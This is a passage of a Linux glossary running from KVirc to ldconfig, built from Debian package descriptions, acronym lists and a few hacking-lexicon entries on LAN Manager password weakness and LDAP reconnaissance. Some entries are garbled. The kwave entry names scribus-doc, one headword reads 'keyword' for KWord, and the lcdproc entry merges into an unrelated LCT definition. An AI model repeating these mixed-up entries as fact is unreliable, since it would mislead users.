Fully scriptable graphical IRC client with plugin support A highly configurable graphical IRC client with an MDI interface, built-in scripting language, support for DCC, drag & drop, and much more. KVirc uses the Qt widget set, has support for KDE, has more features than you can think of, can be extended using its own scripting language, supports custom plugins and is nearly a desktop environment on its own. If you are interested in extending the client and writing your own scripts, you probably want to also install the kvirc-doc package. If you're a developer and you want to write a custom plugin for KVirc, you need to install the kvirc-dev package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KVM

Kilobyte Virtual Machine (Java, Sun, MIDP) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kwave

A sound editor for KDE2. "Kwave" is a simple sound editor for KDE2. Its features include: * simple cut, copy and paste functions * undo/redo * simple filter design tools * a small editor for additive synthesis * labeling of signals * some analysis functions such as Sonagram or Fourier Transformation * internally uses 24 bit integer sample data * free selectable sample rates * support for editing of multi-channel files * playback of multi-channel audio files (audio output will be mixed down to mono or stereo) * extendible through an easy-to-use plugin interface Documentation for this package is available in either English, French or German. Please choose your appropriate scribus-doc-XX documentation package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kweather

a weather display applet for KDE Kicker KWeather is an applet for the KDE Kicker that will display your area's current weather. Information shown includes the temperature, wind speed and air pressure. By pressing a button a full weather report can be obtained. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kwikdisk

KDE free disk space utility. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kwin4

Connect Four clone for KDE Four wins is a game for two players. Each player is represented by a colour (yellow and red). The goal of the game is to get four connected pieces of your colour into a row, column or any diagonal. This is done by placing one of your pieces into any of the seven columns. A piece will begin to fill a column from the bottom, i.e. it will fall down until it reaches the ground level or another stone. After a move is done it is the turn of the other player. This is repeated until the game is over, i.e. one of the players has four pieces in a row, column or diagonal or no more moves are possible because the board is filled. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KWM

K Window Manager (KDE) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

keyword

a word processor for the KDE Office Suite KWord is a frame-based word processor comparable to FrameMaker. It can be used for desktop publishing, but also for "normal" word processing (like writing letters, reports and so on). This package is part of the KDE Office Suite. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kworlclock

earth watcher for KDE Displays where in the world it is light and dark depending on time, as well as offering the time in all of the major cities of the world. This can be run standalone or as an applet in the KDE panel. This package is part of the official KDE toys module. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kwuftp

wu-ftp configuration tool This program allows you to manipulate the configuration files for wu-ftp. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kxmleditor

XML Editor for KDE KXML Editor is simple program, that display and edit contents of XML file. Left side contain tree with XML document structure, right side contain list of attributes for selected XML element and its contents. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

L

L1

Level 1 [cache] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

L2

Level 2 [cache] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

L2F

Layer 2 Forwarding [protocol] (Shiva, Cisco, IP, IPX, LLC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

L2TP

Layer 2 Tunneling Protocol (PPP, VPN, IP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

l2tpd

A layer 2 tunneling client/server program. l2tpd is the open source implementation of the l2tp tunneling protocol (rfc2661). It does implement both LAC and LNS role in a l2tp networking architecture. The main goal of this protocol is to tunnel PPP frame trough an ip network. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LA

Limited Availability (IBM, OS/2) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LA

Location Area (MSC, GSM, mobile-systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

labelnation

A command-line label-printing program Label Nation is a Perl program that provides a command-line interface for printing onto peel-off label sheets. It comes with built-in support for the most common label standards (Avery Dennison 5160, Maco LL-5805, etc.), plus the ability to define your own label parameters. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAC

Lotus Authorized Consultants (Lotus) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lacheck

A simple syntax checker for LaTeX. LaCheck is a simple syntax checker for LaTeX that is based on a single-pass lexical scanner. This makes clear that there are a lot of LaTeX problems this program cannot find, although it will find most simple mistakes. Complex macro packages may, however, make it completely unusable. This program was bundled with AUC TeX up until recently and is best known from there. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ladspa-sdk

sample tools for linux-audio-dev plugin architecture LADSPA is a free standard specification for audio effect plugins. Contains sample plugins, and analyseplugin, listplugin, applyplugin programs, and the ladspa.h, the LADSPA specification. Please build-depend on this package if you need ladspa.h From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LADT

Local Access Data Transport From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAEC

Lotus Authorized Education Center (Lotus) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAG

Logical Address Group (ION) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Lag

The delay in information coming across the network through telnet or other types of connections, usually caused by a slow or error-prone connection somewhere between the two communicating machines. Technically there are two causes of lag, the second being chew. From KADOWKEV

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAM

Local Area Multicomputer (Parallel Computing) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lam-mpidoc

Documentation for the Message Passing Interface standard. This package contains man pages describing the Message Passing Interface standard. These pages are newly provided by the LAM package, and are also found in the mpi-doc package build from the mpich source package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lam-runtime

LAM runtime environment for executing parallel programs. LAM is an implementation of the Message Passing Interface (MPI) protocol commonly used in parallel processing applications. Some enhancements in LAM 6.3 are: o Added the MPI-2 C++ bindings package (chapter 10 from the MPI-2 standard) from the Laboratory for Scientific Computing at the University of Notre Dame. o Added ROMIO MPI I/O package (chapter 9 from the MPI-2 standard) from the Argonne National Laboratory. o Pseudo-tty support for remote IO (e.g., line buffered output). o Ability to pass environment variables through mpirun. o Ability to mpirun shell scripts/debuggers/etc. (that eventually run LAM/MPI programs). o Ability to execute non-MPI programs across the multicomputer. o Added configurable ability to zero-fill internal LAM buffers before they are used (for development tools such as Purify). o Greatly expanded error messages; provided for customizable local help files. o Expanded and updated documentation. o Various bug fixes and minor enhancements. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lam3

Shared libraries used by LAM parallel programs. LAM is an implementation of the Message Passing Interface (MPI) protocol commonly used in parallel processing applications. This package provides the shared library. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lambda

extended unicode TeX From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lambdacore

core database for lambdamoo Lambdacore is a lambdamoo database, a set of objects and programs that are run by the lambdamoo server to add functionality to lambdamoo. Lambdacore includes: * Integrated help system * Internal mail and news * Object editors * Additional object classes Lambdacore provides a base that you can build on to create your own lambdamoo system. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lambdamoo

a server for an online multiuser virtual world Lambdamoo is a server for a virtual world, a computer program which users can log into and explore. Each user takes control of a computerized persona/avatar/incarnation/character. You can walk around, chat with other people, solve puzzles, and even create your very own rooms, descriptions and items. Advanced users can program Lambdamoo, via its built in object-oriented programming language. Lambdamoo only provides the bare framework for your virtual world. A lambdamoo guru could theoretically start with lambdamoo and the included minimal core database and work their way up to a full-fledged system. The rest of us will want to install the lambdacore or jhcore packages which add objects and functionality to lambdamoo. From

Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAMP

Linux, Apache, MySQL, PHP (Linux, Apache, PHP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAN

Local Area Network (LAN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAN

Local Area Network – a computer network which operates over short distances, usually at high speed. Typically, LANs are isolated in single buildings but in the case of some universities can connect a number of buildings. WANs (or Wide Area Networks) typically connect an enterprise or institution which might be separated by larger distances. From Faculty-of-Education
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAN

see local area network (LAN). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAN (Local Area Network)

A private transmission that interconnects computers within a building or among buildings for the purpose of sharing voice, data, facsimile, and/or video. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAN Manager

LAN Manager is the older file server product from Microsoft and IBM. The details of this aren't all that important except that backwards compatibility has introduced security holes in products 10 years later. LAN Manager authentication splits a password into two case-insensitive parts that are 7 letters each. Therefore, if your password was "RobertGraham.com", under LAN Manager it would be the same as "ROBERTG RAHAM.C". Whereas new products like Win98, WinNT, and SAMBA support newer/stronger authentication methods, the need for backwards compatibility often exposes the LAN Manager password, which can easily be cracked. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LANCE

LAN Controller for Ethernet (LAN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LANE

Local Area Network Emulation [over ATM specification] (ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

langdrill

Language Drills langdrill is a helper for testing your foreign language vocabulary. It uses GTK+ toolkit and VDK (a C++ wrapper around VDK). langrill looks similar with JavaDrill (JavaDrill helped me cristalize the ideas on how langdrill should look like). Limited support for Japanese characters displaying is included. For this, Japanese fonts must be installed on your system. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

language-env

simple configuration tool for native language environment This tool adds basic settings for natural language environment such as LANG variable, font specifications, input methods, and so on into user's several dot-files such as .bashrc and .emacs. This version of language-env supports Belarusian, Bulgarian, Danish, French, German, Japanese, Korean, Macedonian, Polish, Russian, Serbian, Spanish, Thai, and Ukrainian. Japanese support comes from precursor package 'user-ja'. Thai support is written by Chanop Silpa-Anan. German support comes from 'user-de' package version 0.8. Spanish support comes from 'user-es' 0.5. Russian support is written by Peter Novodvorsky <petya@logic.ru>. Belarusian, Bulgarian, Macedonian, Serbian and Ukrainian supports are written by Anton Zinoviev <zinoviev@debian.org>, the Belarusian translation is by Alexander Mikhailian

Linux Dictionary

<mikhailian@altern.org>, and the Serbian translation is by Milos Rancic <milosh@users.sourceforge.net>. Korean support is written by Ho-seok Lee <alee@kuls.korea.ac.kr>. French support is written by Nicolas Sabouret <nico@limsi.fr>. Polish support is written by Robert Luberdá <robert@debian.org>. Danish support is written by Claus Hindsgaul <claus_h@image.dk>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LANL

Los Alamos National Laboratory (org., USA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lanoche

creates laptop or notebook hardware report in HTML lanoche should fit on smaller systems, for instance a "One Floppy Linux". Therefore no Perl or other sophisticated programming methods are used. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Lanthan Linux

A German Linux distribution for Windows-PCs with revolutionary concept of installation. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Laonux

Laonux is a relatively small Linux distribution that contains most of the basics that you would expect in a Linux system, but nothing more. It features gcc-2.95.2, glibc 2.1.2, and kernel 2.2.14. It is not easy to install, but it provides a complete system. It is great for hobbyists who wish build up their own personalized Linux distribution from a basic core. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAP

Link Access Procedure / Protocol (CCITT, X.25) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lapack

a library of linear algebra routines – shared version LAPACK version 3.0 is a comprehensive FORTRAN library that does linear algebra operations including matrix inversions, least squared solutions to linear sets of equations, eigenvector analysis, singular value decomposition, etc. It is a very comprehensive and reputable package that has found extensive use in the scientific community. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lapack-pic

a library of linear algebra routines – static PIC version LAPACK version 3.0 is a comprehensive FORTRAN library that does linear algebra operations including matrix inversions, least squared solutions to linear sets of equations, eigenvector analysis, singular value decomposition, etc. It is a very comprehensive and reputable package that has found extensive use in the scientific community. Normally one would want to use non-PIC code for static linking. In this case, install lapack-dev. This package is provided for other packages, such as atlas, needing access to PIC versions of the lapack objects in their own build process. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lapack-test

a library of linear algebra routines – testing programs LAPACK version 3.0 is a comprehensive FORTRAN library that does linear algebra operations including matrix inversions, least squared solutions to linear sets of equations, eigenvector analysis, singular value decomposition, etc. It is a very comprehensive and reputable package that has found extensive use in the scientific community. These testing and timing programs have been run against the shared library in the lapack package. The results have been collected in the files test_results and timing_results. These programs are provided separately here so that the user can test and compare alternate versions of the lapack libraries, such as those provided by the atlas packages, and the lapack99 package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lapack99

Linux Dictionary

linear algebra library – shared version, rev. 10/99 LAPACK version 3.0 is a comprehensive FORTRAN library that does linear algebra operations including matrix inversions, least squared solutions to linear sets of equations, eigen analysis, SVD, etc. It is a very comprehensive and reputable package that has found extensive use in the scientific community. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAPB

Link Access Procedure – Balanced (CCITT, LAP, X.25) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAPD

Link Access Procedure on the D channel (X.21, ISDN, TA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAPIC

Local Advanced Programmable Interrupt Controller (PIC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAPM

Link Access Procedure for Modem From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAPS

LAN Adapter and Protocol Support From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

laptop-net

Automatically adapt laptop ethernet This package supports the built-in ethernet of laptops by providing several integrated features that automatically adapt the laptop to the network environment. The package is easily configured to support a wide variety of network environments, and supports manual as well as automatic management of the network interface. The package can automatically: start and stop the network interface at appropriate times; disable the network interface when the network cable is removed, and enable it when the cable is inserted; select the network interface's IP address, either by probing the network for known hosts or by use of the DHCP protocol; customize the laptop's software configuration to match the network interface's IP address. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

laptop-netconf

network detection and configuration program for laptops laptop-netconf can automatically determine the network to which your laptop is connected, from a set of preconfigured alternatives. Once the network has been detected, you can run arbitrary scripts to configure the services on your laptop for correct local operation. This package requires some basic networking knowledge at present. A sample configuration is enclosed. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

larswm

Lars Window Manager with tiled windows larswm is a hack for 9wm, adding automatic window tiling, virtual desktops and many other features designed to make it a very efficient user environment. It uses very little CPU time and virtual memory. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LASER

Light Amplification by Stimulated Emission of Radiation From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

laser printer

Printer technology using laser-based imaging and heating element that bonds toner (powder ink) to the printing medium. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LASER5

Linux Dictionary

Japanese distribution originally based on Red Hat Linux. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LASS

Local Area Signaling Service From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

last

show listing of last logged in users From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lastb

show listing of last logged in users From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lastlog

examine lastlog file From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAT

Local Area Transport (DEC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LATA

Local Access Transport Area From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

latd

LAT (Local Area Transport) Daemon This is a server for DEC LAT. It allows users to log in to the Linux system from a LAT terminal server and also the creation of "reverse" LAT ports on the system that connect to other LAT services on the network. There is also an llogin utility that allows users to login to remote LAT services. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Latency

Latency refers to a time lag between the access and transmission of data. In the case of multimedia distributed over networks, it is crucial that this be rectified, or at least synchronised — a simple example of this is keeping compressed video in synchronisation with audio. From Faculty-of-Education <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

latex

structured text formatting and typesetting From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

latex2html

LaTeX to HTML translator. LaTeX2HTML is a conversion tool that that converts documents written in LaTeX to HTML format. In addition, it offers an easy migration path towards authoring complex hypermedia documents using familiar word-processing concepts. LaTeX2HTML replicates the basic structure of a LaTeX document as a set of interconnected HTML files which can be explored using automatically generated navigation panels. The cross-references, citations, footnotes, the table of contents and the lists of figures and tables, are also translated into hypertext links. Formatting information which has equivalent ``tags" in HTML (lists, quotes, paragraph breaks, type styles, etc.) is also converted appropriately. The remaining heavily formatted items such as mathematical equations, pictures or tables are converted to images which are placed automatically at the correct positions in the final HTML document. LaTeX2HTML extends LaTeX by supporting arbitrary hypertext links and symbolic cross-references between evolving remote documents. It also allows the specification of conditional text and the inclusion of raw HTML commands. These hypermedia extensions to LaTeX are available as new commands and environments from within a LaTeX document. Pstoinimg, the part of latex2html that produces bitmap images from the LaTeX source, can support both GIF and PNG format. Because of certain legal limitations on the use of the GIF image format, GIF support is disabled in this package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

latex2rtf

convert from LaTeX to RTF format Attempts to convert as much formatting information as possible from LaTeX to Microsoft's Rich Text Format (RTF). While RTF has limited support for mathematical markup, it is widely supported as a "least common denominator" word processing format. Home Page: <http://latex2rtf.sourceforge.net/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LATM

Local Asynchronous Transfer Mode From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

latte

The Language for Transforming Text (currently to html) Latte is a simple and powerful language for including markup in text documents. Documents written in Latte can be converted to high-quality HTML, making it a good language for writing World Wide Web documents. A Latte mode for Emacs is included as well as an Emacs autoloader. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

launcher

Selects which program to launch according to extension. Launcher maps files to MIME types via filename extension or output from the Unix "file" command. If there are more than one handler defined for a given MIME type it presents you with a GUI giving you a choice of which one to use. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lavaps

a lava lamp of currently running processes From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lavaps

a lava lamp of currently running processes Lavaps is an interactive process-tracking program like ``top'', but with a much different attitude. Rather than presenting lots of specific info in digital form, it tries to present certain important information in a graphical analog form. The idea is that you can run it in the background and get a rough idea of what's happening to your system without devoting much concentration to the task. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAVAS

LArger- und VersandAbwicklungssystem (MBAG) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAVC

Local Area VAX Cluster (VAX, DEC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAW

Local Authority Workstation From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LAWN

Local Area Wireless Network From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LBA

Logical Block Addressing (EIDE) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LBA (Logical Bloack Addressing)

Part of the Enhanced IDE standard, permits hard disks to store up to 8.4GB of data. Without LBA, hard disks could store only 528MB of data. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lbdb

Linux Dictionary

The little brother's database for the mutt mail reader This package consists of a set of small tools, which collect mail addresses from several sources and offer these addresses to the mutt external query feature. At the moment the following modules are supported: – m_finger (uses the finger(1) command) – m_inmail (scans incoming mail for addresses) – m_passwd (searches /etc/passwd) – m_yppasswd (searches the YP password database) – m_nispasswd (searches the YP password database) – m_getent (searches the configured password database) – m_pgp2, m_pgp5, m_gpg (searches your PGP or GnuPG keyrings) – m_fido (searches the Fidonet nodelist) – m_abook (uses the address book application abook(1)) – m_addr_email (uses addr-email from the addressbook Tk program) – m_muttalias (searches your Mutt mail aliases) – m_pine (searches your Pine addressbook files) – m_wanderlust (search the WanderLust alias database) – m_palm (uses your Palm database; needs libpalm-perl package) – m_gnomecard (uses GnomeCard database files) – m_bbdb (search your BBDB (big brother database)) – m_ldap (query some LDAP server) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LBM

Local Bus Master From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LBN

Logical Block Number (LBA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lbreakout2

A ball-and-paddle game with nice graphics lbreakout2 is a game similar to the classics breakout and xboing, featuring a number of added graphical enhancements and effects. You control a paddle at the bottom of the playing-field, and must destroy bricks at the top by bouncing balls against them. lbreakout2 is a complete rewrite of the game "lbreakout". Users of lbreakout probably want to install this. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LBS

Location Based Service From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LBT

Local Bus Targets From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LBX

Low-Band with X From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lbxproxy

Low Bandwidth X (LBX) proxy server Applications that would like to take advantage of the Low Bandwidth extension to X (LBX) must make their connections to an lbxproxy. These applications need know nothing about LBX, they simply connect to the lbxproxy as if were a regular X server. The lbxproxy accepts client connections, multiplexes them over a single connection to the X server, and performs various optimizations on the X protocol to make it faster over low bandwidth and/or high latency connections. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lbxproxy

Low BandWidth X proxy From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LC

Linux Computer (Corel) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LC

Loopback Capability (UNI, ATM, OAM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LCA

Logic Cell Array From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LCA

[Sair] Linux [and GNU] Certified Administrator (Linux, GNU, Unix) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lcap

L

Linux Dictionary

Removes 'capabilities' in the kernel, making the system more secure Capabilities are a form of kernel-based access control. This program provides a user-friendlier way than setting `proc/sys/kernel/cap-bound` by hand to remove capabilities from your Linux kernel. For example, you can remove the capability to load kernel modules by executing `'lcap CAP_SYS_MODULE'` as root. Then no one, not even root, can load modules into your kernel. This can be useful for tightening the security of your Linux machines. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LCC

Local Control Center From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LCCM

LAN Client Control Manager (IBM, LAN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LCD

Liquid-Crystal Display (LCD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LCD

LISP Code Directory (EMACS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LCD

Loss of Cell Delineation (UNI, ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lcdproc

LCD display driver daemon This is a client/server suite including drivers for all kinds of nifty LCD displays. The server supports several serial devices: Matrix Orbital, Crystal Fontz, Bayrad, LB216, LCDM001 (kernelconcepts.de), Wirz-SLI and PIC-an-LCD; and some devices connected to the LPT port: HD44780, STV5730, T6963, SED1520 and SED1330. Various clients are available that display things like CPU load, system load, memory usage, uptime, and a lot more.

Last Compliance Time (GCRA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LCU

LAN CID Utility (LAN, CID, IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LCV

Line Coding Violation [error event] (DS1/E1, DS3/E3) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LD

LAN Destination (ATM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ld

Using LD, the GNU linker From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ld.so

The dynamic library loader. Each binary using shared libraries used to have about 3K of start-up code to find and load the shared libraries. Now that code has been put in a special shared library, /lib/ld.so, where all binaries can look for it, so that it wastes less disk space, and can be upgraded more easily. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ld.so.preload-manager

A utility to manage the libraries in /etc/ld.so.preload This script is written to be used with the installation of libsafe, but perhaps it could prove itself useful for more things ;) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ld86

Linker for as86(1) From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDA

Local Delivery Agent From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDAP

A directory service, LDAP (Lightweight Directory Access Protocol) is used by e-mail programs (Microsoft, Netscape, Eudora, etc.) to allow you to lookup a person's name in a corporate database and find their e-mail address, phone number, and other information that the corporate administrators decided to put in there. Key point: Most corporate LDAP servers have little or no authentication. Finding LDAP servers and downloading their contents is an important step in the reconnaissance phase of a hacking attack. Key point: While LDAP is in theory lightweight, in practice it is still fairly complicated. There are many implementation and deployment bugs that can be exploited in order to break into servers. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDAP

LDAP stands for Lightweight Directory Access Protocol. As the name suggests, it is a lightweight client-server protocol for accessing directory services, specifically X.500-based directory services. LDAP runs over TCP/IP or other connection oriented transfer services. LDAP is defined in RFC2251

"The Lightweight Directory Access Protocol (v3). A directory is similar to a database, but tends to contain more descriptive, attribute-based information. The information in a directory is generally read much more often than it is written. Directories are tuned to give quick-response to high-volume lookup or search operations. They may have the ability to replicate information widely in order to increase availability and reliability, while reducing response time. When directory information is replicated, temporary inconsistencies between the replicas may be OK, as long as they get in sync eventually. There are many different ways to provide a directory service. Different methods allow different kinds of information to be stored in the directory, place different requirements on how that information can be referenced, queried and updated, how it is protected from unauthorized access, etc. Some directory services are local, providing service to a restricted context (e.g., the finger service on a single machine). Other services are global, providing service to a much broader context. From LDAP-Linux-HOWTO <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDAP

Lightweight Directory Access Protocol (RFC 1777, X.500, DS, AD) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDAP

Lightweight Directory Access Protocol. Allows network nodes to get info on other nodes. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDAP

see lightweight Directory Access Protocol (LDAP). From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ldap-gateways

OpenLDAP Gateways These programs provide directory interaction (gateways) with your existing servers. They include fax, finger, gopher and mail gateways, aswell as some useful utilities. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ldap-utils

OpenLDAP utilities. Utilities from the OpenLDAP (Lightweight Directory Access Protocol) package. These utilities can access a local or remote LDAP server and contain all the client programs required to access LDAP servers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ldap2dns

LDAP based DNS management system. ldap2dns is a program to create DNS (Domain Name Service) records directly from a LDAP directory. It can and should be used to replace the secondary name-server by a second primary one. ldap2dns reduces all kind of administration overhead: No more flat file editing, no more zone file editing. After having installed ldap2dns, the administrator only has to access the LDAP directory. ldap2dns is designed to write ASCII data files used by tinydns from the djbdns package, but also may be used to write .db-files used by named as found in the BIND package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDAPAPI

Lightweight Directory Access Protocol Application Program Interface (LDAP, RFC 1823, API), "LDAP API" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ldapexplorer

A set of PHP-scripts to administrate LDAP over the WWW. LDAP Explorer is a handy LDAP Client tool designed to work as a generic web based, running on server side. You can use it to browse tree hierarchical LDAP server, add, modify or delete entries; and add, modify, delete attributes in an entry. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDCM

LANDesk Client Manager From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ldconfig

determine run-time link bindings From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ldconfig

Ldconfig is a basic system program which determines run-time linkbindings between ld.so and shared libraries. Ldconfig scans a running system and sets up the symbolic links that are used to load shared libraries properly. It also creates a cache (/etc/ld.so.cache) which speeds the loading of programs which use shared libraries. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDD

